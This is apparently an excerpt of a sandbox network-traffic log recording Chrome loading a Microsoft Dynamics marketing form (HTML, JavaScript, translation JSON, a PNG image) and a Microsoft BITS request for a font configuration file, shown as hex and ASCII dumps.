2024-04-23 19:53:21 UTC	16384	IN	Data Raw: 6e 20 4e 75 6d 62 65 72 28 31 3d 3d 65 3f 30 3a 32 3d 3d 65 3f 31 3a 65 3c 37 3f 32 3a 65 3c 31 31 3f 33 3a 34 29 7d 2c 31 31 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 4e 75 6d 62 65 72 28 31 3d 3d 65 7c 7c 31 31 3d 3d 65 3f 30 3a 32 3d 3d 65 7c 7c 31 32 3d 3d 65 3f 31 3a 65 3e 32 26 26 65 3c 32 30 3f 32 3a 33 29 7d 2c 31 32 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 4e 75 6d 62 65 72 28 65 25 31 30 21 3d 31 7c 7c 65 25 31 30 30 3d 3d 31 31 29 7d 2c 31 33 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 4e 75 6d 62 65 72 28 30 21 3d 3d 65 29 7d 2c 31 34 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 4e 75 6d 62 65 72 28 31 3d 3d 65 3f 30 3a 32 3d 3d 65 3f 31 3a 33 3d 3d 65 3f 32 3a 33 29 7d 2c 31 Data Ascii: n Number(1==e?0:2==e?1:e<7?2:e<11?3:4)},11:function(e){return Number(1==e\|\|11==e?0:2==e\|\|12==e?1:e>2&&e<20?2:3)},12:function(e){return Number(e%10!=1\|\|e%100==11)},13:function(e){return Number(0!==e)},14:function(e){return Number(1==e?0:2==e?1:3==e?2:3)},1
2024-04-23 19:53:21 UTC	16384	IN	Data Raw: 61 73 4c 6f 61 64 65 64 4e 61 6d 65 73 70 61 63 65 28 74 29 3f 74 68 69 73 2e 6c 6f 67 67 65 72 2e 77 61 72 6e 28 27 64 69 64 20 6e 6f 74 20 73 61 76 65 20 6b 65 79 20 22 27 2e 63 6f 6e 63 61 74 28 6e 2c 27 22 20 61 73 20 74 68 65 20 6e 61 6d 65 73 70 61 63 65 20 22 27 29 2e 63 6f 6e 63 61 74 28 74 2c 27 22 20 77 61 73 20 6e 6f 74 20 79 65 74 20 6c 6f 61 64 65 64 27 29 2c 22 54 68 69 73 20 6d 65 61 6e 73 20 73 6f 6d 65 74 68 69 6e 67 20 49 53 20 57 52 4f 4e 47 20 69 6e 20 79 6f 75 72 20 73 65 74 75 70 2e 20 59 6f 75 20 61 63 63 65 73 73 20 74 68 65 20 74 20 66 75 6e 63 74 69 6f 6e 20 62 65 66 6f 72 65 20 69 31 38 6e 65 78 74 2e 69 6e 69 74 20 2f 20 69 31 38 6e 65 78 74 2e 6c 6f 61 64 4e 61 6d 65 73 70 61 63 65 20 2f 20 69 31 38 6e 65 78 74 2e 63 68 61 6e Data Ascii: asLoadedNamespace(t)?this.logger.warn('did not save key "'.concat(n,'" as the namespace "').concat(t,'" was not yet loaded'),"This means something IS WRONG in your setup. You access the t function before i18next.init / i18next.loadNamespace / i18next.chan
2024-04-23 19:53:21 UTC	16384	IN	Data Raw: 63 74 69 76 65 58 4f 62 6a 65 63 74 3f 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 2c 72 29 7b 6e 26 26 22 6f 62 6a 65 63 74 22 3d 3d 3d 77 65 28 6e 29 26 26 28 6e 3d 54 65 28 22 22 2c 6e 29 2e 73 6c 69 63 65 28 31 29 29 2c 65 2e 71 75 65 72 79 53 74 72 69 6e 67 50 61 72 61 6d 73 26 26 28 74 3d 54 65 28 74 2c 65 2e 71 75 65 72 79 53 74 72 69 6e 67 50 61 72 61 6d 73 29 29 3b 74 72 79 7b 76 61 72 20 69 3b 28 69 3d 76 65 3f 6e 65 77 20 76 65 3a 6e 65 77 20 62 65 28 22 4d 53 58 4d 4c 32 2e 58 4d 4c 48 54 54 50 2e 33 2e 30 22 29 29 2e 6f 70 65 6e 28 6e 3f 22 50 4f 53 54 22 3a 22 47 45 54 22 2c 74 2c 31 29 2c 65 2e 63 72 6f 73 73 44 6f 6d 61 69 6e 7c 7c 69 2e 73 65 74 52 65 71 75 65 73 74 48 65 61 64 65 72 28 22 58 2d 52 65 71 75 65 73 74 65 64 2d 57 69 74 68 22 Data Ascii: ctiveXObject?function(e,t,n,r){n&&"object"===we(n)&&(n=Te("",n).slice(1)),e.queryStringParams&&(t=Te(t,e.queryStringParams));try{var i;(i=ve?new ve:new be("MSXML2.XMLHTTP.3.0")).open(n?"POST":"GET",t,1),e.crossDomain\|\|i.setRequestHeader("X-Requested-With"
2024-04-23 19:53:21 UTC	16384	IN	Data Raw: 65 22 2c 65 2e 61 66 74 65 72 3d 22 41 66 74 65 72 22 2c 65 2e 63 75 72 72 65 6e 74 3d 22 43 75 72 72 65 6e 74 22 7d 28 74 74 7c 7c 28 74 74 3d 7b 7d 29 29 2c 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 6e 6f 48 6f 6c 64 6f 75 74 3d 22 6e 6f 48 6f 6c 64 6f 75 74 22 2c 65 2e 68 6f 6c 64 6f 75 74 3d 22 68 6f 6c 64 6f 75 74 22 7d 28 6e 74 7c 7c 28 6e 74 3d 7b 7d 29 29 2c 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 43 6f 6e 64 69 74 69 6f 6e 4d 65 74 3d 22 43 6f 6e 64 69 74 69 6f 6e 4d 65 74 22 2c 65 2e 54 69 6d 65 4c 69 6d 69 74 3d 22 54 69 6d 65 4c 69 6d 69 74 22 7d 28 72 74 7c 7c 28 72 74 3d 7b 7d 29 29 2c 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 53 74 61 6e 64 41 6c 6f 6e 65 3d 22 53 74 61 6e 64 41 6c 6f 6e 65 22 2c 65 2e 53 69 6e 67 6c 65 41 63 74 69 6f 6e Data Ascii: e",e.after="After",e.current="Current"}(tt\|\|(tt={})),function(e){e.noHoldout="noHoldout",e.holdout="holdout"}(nt\|\|(nt={})),function(e){e.ConditionMet="ConditionMet",e.TimeLimit="TimeLimit"}(rt\|\|(rt={})),function(e){e.StandAlone="StandAlone",e.SingleAction
2024-04-23 19:53:21 UTC	16384	IN	Data Raw: 20 73 2e 74 72 79 73 2e 70 75 73 68 28 5b 32 2c 34 2c 2c 35 5d 29 2c 5b 34 2c 50 72 6f 6d 69 73 65 2e 61 6c 6c 28 74 2e 6d 61 70 28 28 66 75 6e 63 74 69 6f 6e 28 74 2c 61 29 7b 72 65 74 75 72 6e 20 69 5b 61 5d 26 26 69 5b 61 5d 2e 72 65 71 75 65 73 74 65 64 41 74 21 3d 3d 72 3f 6f 2e 74 72 79 52 65 74 72 69 65 76 65 56 61 6c 75 65 28 22 22 2e 63 6f 6e 63 61 74 28 65 2c 22 5f 22 29 2e 63 6f 6e 63 61 74 28 74 29 2c 6f 2e 65 78 70 69 72 61 74 69 6f 6e 43 61 63 68 65 2c 69 5b 61 5d 2c 6e 29 3a 50 72 6f 6d 69 73 65 2e 72 65 73 6f 6c 76 65 28 6e 75 6c 6c 29 7d 29 29 29 5d 3b 63 61 73 65 20 33 3a 72 65 74 75 72 6e 20 73 2e 73 65 6e 74 28 29 2e 66 6f 72 45 61 63 68 28 28 66 75 6e 63 74 69 6f 6e 28 65 2c 6e 29 7b 72 65 74 75 72 6e 20 61 5b 74 5b 6e 5d 5d 3d 65 7d Data Ascii: s.trys.push([2,4,,5]),[4,Promise.all(t.map((function(t,a){return i[a]&&i[a].requestedAt!==r?o.tryRetrieveValue("".concat(e,"_").concat(t),o.expirationCache,i[a],n):Promise.resolve(null)})))];case 3:return s.sent().forEach((function(e,n){return a[t[n]]=e}
2024-04-23 19:53:21 UTC	16384	IN	Data Raw: 2e 6c 61 62 65 6c 29 7b 63 61 73 65 20 30 3a 72 65 74 75 72 6e 5b 34 2c 74 68 69 73 2e 66 65 74 63 68 47 65 74 28 65 29 5d 3b 63 61 73 65 20 31 3a 69 66 28 21 28 6e 3d 72 2e 73 65 6e 74 28 29 29 2e 6f 6b 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 22 2e 63 6f 6e 63 61 74 28 6e 75 6c 6c 3d 3d 74 3f 22 22 3a 74 2b 22 20 22 2c 22 53 74 61 74 75 73 3a 20 22 29 2e 63 6f 6e 63 61 74 28 6e 2e 73 74 61 74 75 73 2c 22 20 2d 20 22 29 2e 63 6f 6e 63 61 74 28 6e 2e 73 74 61 74 75 73 54 65 78 74 29 29 3b 72 65 74 75 72 6e 5b 34 2c 6e 2e 6a 73 6f 6e 28 29 5d 3b 63 61 73 65 20 32 3a 72 65 74 75 72 6e 5b 32 2c 72 2e 73 65 6e 74 28 29 5d 7d 7d 29 29 7d 29 29 7d 2c 65 2e 70 72 6f 74 6f 74 79 70 65 2e 66 65 74 63 68 50 6f 73 74 3d 66 75 6e 63 74 69 6f 6e 28 65 2c Data Ascii: .label){case 0:return[4,this.fetchGet(e)];case 1:if(!(n=r.sent()).ok)throw new Error("".concat(null==t?"":t+" ","Status: ").concat(n.status," - ").concat(n.statusText));return[4,n.json()];case 2:return[2,r.sent()]}}))}))},e.prototype.fetchPost=function(e,

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	49716	23.46.214.6	443

Timestamp	Bytes transferred	Direction	Data
2024-04-23 19:53:22 UTC	161	OUT	HEAD /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-04-23 19:53:22 UTC	467	IN	HTTP/1.1 200 OK Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (chd/073D) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-eus2-z1 Cache-Control: public, max-age=40216 Date: Tue, 23 Apr 2024 19:53:22 GMT Connection: close X-CID: 2

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.5	49717	13.107.246.41	443	6412	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 19:53:22 UTC	738	OUT	GET /4df527c8-5afd-ee11-9048-000d3a10682d/digitalassets/forms/845fbd3d-a401-ef11-a1fd-7c1e521c0288 HTTP/1.1 Host: assets-usa.mkt.dynamics.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Accept: text/plain sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://assets-usa.mkt.dynamics.com/4df527c8-5afd-ee11-9048-000d3a10682d/digitalassets/standaloneforms/845fbd3d-a401-ef11-a1fd-7c1e521c0288 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-23 19:53:22 UTC	589	IN	HTTP/1.1 200 OK Date: Tue, 23 Apr 2024 19:53:22 GMT Content-Type: text/html Content-Length: 29039 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Access-Control-Allow-Origin: * Cache-Control: public, max-age=900, must-revalidate x-ms-trace-id: b684073c071bab56c3b5d6cdf7792fd0 Strict-Transport-Security: max-age=2592000; preload x-content-type-options: nosniff x-azure-ref: 20240423T195322Z-16f7b4795d4h54m2ae5y2wchuw000000053g000000008k0w x-fd-int-roxy-purgeid: 69077000 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-04-23 19:53:22 UTC	15795	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 20 20 20 20 20 20 20 20 3c 74 69 74 6c 65 3e 4d 61 72 6b 65 74 69 6e 67 20 46 6f 72 6d 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 65 66 65 72 72 65 72 22 20 63 6f 6e 74 Data Ascii: <!DOCTYPE html><html><head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Marketing Form</title> <meta name="referrer" cont
2024-04-23 19:53:22 UTC	13244	IN	Data Raw: 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 20 20 20 20 2e 74 77 6f 4f 70 74 69 6f 6e 46 6f 72 6d 46 69 65 6c 64 42 6c 6f 63 6b 20 64 69 76 2e 72 61 64 69 6f 62 75 74 74 6f 6e 73 20 3e 20 64 69 76 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 2e 74 77 6f 4f 70 74 69 6f 6e 46 6f 72 6d 46 69 65 6c 64 42 6c 6f 63 6b 20 64 69 76 2e 74 77 6f 6f 70 74 69 6f 6e 5f 63 68 65 63 6b 62 6f 78 20 3e 20 64 69 76 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 2e 6f 70 74 69 6f 6e 53 65 74 46 6f 72 6d 46 69 65 6c 64 42 6c 6f 63 6b 20 64 69 76 2e 72 61 64 69 6f 62 75 74 74 6f 6e 73 20 3e 20 64 69 76 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 2e 6d 75 6c 74 69 4f 70 74 69 6f 6e 53 65 74 46 6f 72 6d 46 69 65 6c 64 42 6c 6f 63 6b 20 66 69 65 6c 64 73 65 74 20 3e 20 64 69 76 2c Data Ascii: } .twoOptionFormFieldBlock div.radiobuttons > div, .twoOptionFormFieldBlock div.twooption_checkbox > div, .optionSetFormFieldBlock div.radiobuttons > div, .multiOptionSetFormFieldBlock fieldset > div,

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.5	49718	13.107.246.41	443	6412	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 19:53:22 UTC	650	OUT	GET /usa/FormLoader/public/locales/en-us/translation.json HTTP/1.1 Host: cxppusa1formui01cdnsa01-endpoint.azureedge.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://assets-usa.mkt.dynamics.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://assets-usa.mkt.dynamics.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-23 19:53:22 UTC	628	IN	HTTP/1.1 200 OK Date: Tue, 23 Apr 2024 19:53:22 GMT Content-Type: application/json Content-Length: 1304 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Last-Modified: Tue, 27 Feb 2024 09:22:19 GMT ETag: 0x8DC377598F59007 x-ms-request-id: da812aed-701e-001f-1385-9534a5000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Allow-Origin: * x-azure-ref: 20240423T195322Z-16f56cb894fmjg64h30ef49wcc000000018000000000r3n7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-04-23 19:53:22 UTC	1304	IN	Data Raw: 7b 0d 0a 20 20 22 46 6f 72 6d 46 61 69 6c 65 64 54 6f 4c 6f 61 64 22 3a 20 22 46 61 69 6c 65 64 20 74 6f 20 6c 6f 61 64 20 66 6f 72 6d 22 2c 0d 0a 20 20 22 46 6f 72 6d 46 61 69 6c 65 64 54 6f 4c 6f 61 64 43 6f 72 73 22 3a 20 22 54 68 65 20 66 6f 72 6d 20 63 61 6e 20 6e 6f 74 20 62 65 20 6c 6f 61 64 65 64 20 6f 6e 20 61 20 64 6f 6d 61 69 6e 20 74 68 61 74 20 68 61 73 6e 27 74 20 62 65 65 6e 20 61 6c 6c 6f 77 65 64 20 66 6f 72 20 65 78 74 65 72 6e 61 6c 20 66 6f 72 6d 20 68 6f 73 74 69 6e 67 20 6f 72 20 74 68 65 72 65 20 69 73 20 61 20 6e 65 74 77 6f 72 6b 20 63 6f 6e 6e 65 63 74 69 76 69 74 79 20 69 73 73 75 65 22 2c 0d 0a 20 20 22 4c 65 61 72 6e 4d 6f 72 65 22 3a 20 22 4c 65 61 72 6e 20 6d 6f 72 65 22 2c 0d 0a 20 20 22 46 6f 72 6d 53 75 62 6d 69 74 74 65 Data Ascii: { "FormFailedToLoad": "Failed to load form", "FormFailedToLoadCors": "The form can not be loaded on a domain that hasn't been allowed for external form hosting or there is a network connectivity issue", "LearnMore": "Learn more", "FormSubmitte

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.5	49719	13.107.246.41	443	6412	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 19:53:22 UTC	713	OUT	GET /favicon.ico HTTP/1.1 Host: assets-usa.mkt.dynamics.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://assets-usa.mkt.dynamics.com/4df527c8-5afd-ee11-9048-000d3a10682d/digitalassets/standaloneforms/845fbd3d-a401-ef11-a1fd-7c1e521c0288 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-23 19:53:22 UTC	313	IN	HTTP/1.1 404 Not Found Date: Tue, 23 Apr 2024 19:53:22 GMT Content-Type: text/html Content-Length: 548 Connection: close Strict-Transport-Security: max-age=2592000; preload x-azure-ref: 20240423T195322Z-16f56cb894ff7nzt0vygeuawx8000000018g00000000gvvq x-fd-int-roxy-purgeid: 69077000 X-Cache: TCP_MISS
2024-04-23 19:53:22 UTC	548	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.5	49720	23.46.214.6	443

Timestamp	Bytes transferred	Direction	Data
2024-04-23 19:53:22 UTC	239	OUT	GET /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMT Range: bytes=0-2147483646 User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-04-23 19:53:22 UTC	520	IN	HTTP/1.1 200 OK Content-Type: application/octet-stream Last-Modified: Tue, 16 May 2017 22:58:00 GMT ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" ApiVersion: Distribute 1.1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json X-MSEdge-Ref: Ref A: 86D4C1EC23844E65A40A9F1508D7BABF Ref B: BL2EDGE2514 Ref C: 2023-04-05T23:36:05Z Cache-Control: public, max-age=40196 Date: Tue, 23 Apr 2024 19:53:22 GMT Content-Length: 55 Connection: close X-CID: 2
2024-04-23 19:53:22 UTC	55	IN	Data Raw: 7b 22 66 6f 6e 74 53 65 74 55 72 69 22 3a 22 66 6f 6e 74 73 65 74 2d 32 30 31 37 2d 30 34 2e 6a 73 6f 6e 22 2c 22 62 61 73 65 55 72 69 22 3a 22 66 6f 6e 74 73 22 7d Data Ascii: {"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.5	49721	13.107.213.41	443	6412	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 19:53:23 UTC	422	OUT	GET /usa/FormLoader/public/locales/en-us/translation.json HTTP/1.1 Host: cxppusa1formui01cdnsa01-endpoint.azureedge.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-23 19:53:23 UTC	628	IN	HTTP/1.1 200 OK Date: Tue, 23 Apr 2024 19:53:23 GMT Content-Type: application/json Content-Length: 1304 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Last-Modified: Tue, 27 Feb 2024 09:22:19 GMT ETag: 0x8DC377598F59007 x-ms-request-id: da812aed-701e-001f-1385-9534a5000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Allow-Origin: * x-azure-ref: 20240423T195323Z-16f56cb894frt5xthgg03udhpc00000001ag000000008xws x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-04-23 19:53:23 UTC	1304	IN	Data Raw: 7b 0d 0a 20 20 22 46 6f 72 6d 46 61 69 6c 65 64 54 6f 4c 6f 61 64 22 3a 20 22 46 61 69 6c 65 64 20 74 6f 20 6c 6f 61 64 20 66 6f 72 6d 22 2c 0d 0a 20 20 22 46 6f 72 6d 46 61 69 6c 65 64 54 6f 4c 6f 61 64 43 6f 72 73 22 3a 20 22 54 68 65 20 66 6f 72 6d 20 63 61 6e 20 6e 6f 74 20 62 65 20 6c 6f 61 64 65 64 20 6f 6e 20 61 20 64 6f 6d 61 69 6e 20 74 68 61 74 20 68 61 73 6e 27 74 20 62 65 65 6e 20 61 6c 6c 6f 77 65 64 20 66 6f 72 20 65 78 74 65 72 6e 61 6c 20 66 6f 72 6d 20 68 6f 73 74 69 6e 67 20 6f 72 20 74 68 65 72 65 20 69 73 20 61 20 6e 65 74 77 6f 72 6b 20 63 6f 6e 6e 65 63 74 69 76 69 74 79 20 69 73 73 75 65 22 2c 0d 0a 20 20 22 4c 65 61 72 6e 4d 6f 72 65 22 3a 20 22 4c 65 61 72 6e 20 6d 6f 72 65 22 2c 0d 0a 20 20 22 46 6f 72 6d 53 75 62 6d 69 74 74 65 Data Ascii: { "FormFailedToLoad": "Failed to load form", "FormFailedToLoadCors": "The form can not be loaded on a domain that hasn't been allowed for external form hosting or there is a network connectivity issue", "LearnMore": "Learn more", "FormSubmitte

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.5	49722	13.107.246.41	443	6412	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 19:53:23 UTC	668	OUT	GET /4df527c8-5afd-ee11-9048-000d3a10682d/digitalassets/images/1cf4ecdd-c500-ef11-a1fd-7c1e521c0288?ts=638494003333783206 HTTP/1.1 Host: assets-usa.mkt.dynamics.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-23 19:53:23 UTC	484	IN	HTTP/1.1 200 OK Date: Tue, 23 Apr 2024 19:53:23 GMT Content-Type: image/png Content-Length: 28014 Connection: close Access-Control-Allow-Origin: * x-ms-trace-id: 737acb61480135691e13bf47d808b042 Strict-Transport-Security: max-age=2592000; preload x-content-type-options: nosniff x-azure-ref: 20240423T195323Z-16f56cb894ff7nzt0vygeuawx8000000019g000000005a3k Cache-Control: public, max-age=2592000 x-fd-int-roxy-purgeid: 69077000 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-04-23 19:53:23 UTC	15900	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 04 96 00 00 04 54 08 06 00 00 00 24 b7 99 cc 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 00 20 63 48 52 4d 00 00 7a 26 00 00 80 84 00 00 fa 00 00 00 80 e8 00 00 75 30 00 00 ea 60 00 00 3a 98 00 00 17 70 9c ba 51 3c 00 00 00 06 62 4b 47 44 00 ff 00 ff 00 ff a0 bd a7 93 00 00 6c 85 49 44 41 54 78 da ec fd 77 9c 5d f5 9d e7 eb 7e 57 55 49 95 95 08 22 49 48 42 80 a8 22 2b 90 85 10 92 40 e4 0c 26 e3 b6 dd ed 80 8d 7d 66 a6 fb 75 ce b9 77 b8 67 d2 99 99 ee 76 bb a3 db 36 39 1b 10 41 e4 8c 22 39 e7 9c 83 85 04 ca 2a a9 6a af fb 07 c1 48 a8 4a 7b af 4a 3b 3c cf 6b 7a 40 52 a9 54 f5 d9 3f a0 d6 db 6b ef 4a 02 00 00 7a c0 98 1f 4d 1b dc 5e dd 31 36 92 68 cd 25 69 4b 44 b4 26 91 b6 e4 a2 66 e6 87 ff 72 Data Ascii: PNGIHDRT$gAMAa cHRMz&u0`:pQ<bKGDlIDATxw]~WUI"IHB"+@&}fuwgv69A"9*jHJ{J;<kz@RT?kJzM^16h%iKD&fr
2024-04-23 19:53:23 UTC	12114	IN	Data Raw: 92 24 7e ea b5 95 36 e9 92 02 5f b4 7b 43 57 cc bf d5 88 05 ba e0 b0 b3 dd b5 04 00 00 7c 87 b0 04 45 e4 f0 dd 0e 8c 9d b7 1e 6d 88 2e 3c f7 fe 6b f1 cc 7b af 74 eb 7d 3c f2 c6 b3 f1 ca c7 6f 1b b3 00 3b 6e b5 7d 1c b5 d7 21 86 00 00 00 d6 23 2c 41 91 48 92 24 7e 3c f5 34 43 6c c2 45 73 6e ec 91 f7 73 d5 82 db 8c 59 a0 5f 1e 7e 4e d4 54 55 1b 02 00 00 f8 86 b0 04 45 62 7a eb 7e b1 db 76 3b 1a a2 0b 7f 5a b6 24 ee 78 76 4e 8f bc af 59 4f dc 1b 2b d6 ac 32 6a 01 46 6f b1 6d 1c bd b7 bb 96 00 00 80 3f 13 96 a0 48 78 6d a5 4d bb 72 c1 ec 58 d7 43 df d1 6d 65 db ea 98 f5 c4 7d 46 2d d0 2f 0e 3b cb 5d 4b 00 00 c0 37 84 25 28 02 53 5b f6 89 dd 47 ec 6c 88 2e ac 6d 5f 17 57 3f 72 7b 8f be cf cb e7 df 12 69 9a 1a b7 00 a3 36 df 36 8e 1d 7f a8 21 00 00 80 88 10 96 Data Ascii: $~6_{CW\|Em.<k{t}<o;n}!#,AH$~<4ClEsnsY_~NTUEbz~v;Z$xvNYO+2jFom?HxmMrXCme}F-/;]K7%(S[Gl.m_W?r{i66!

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
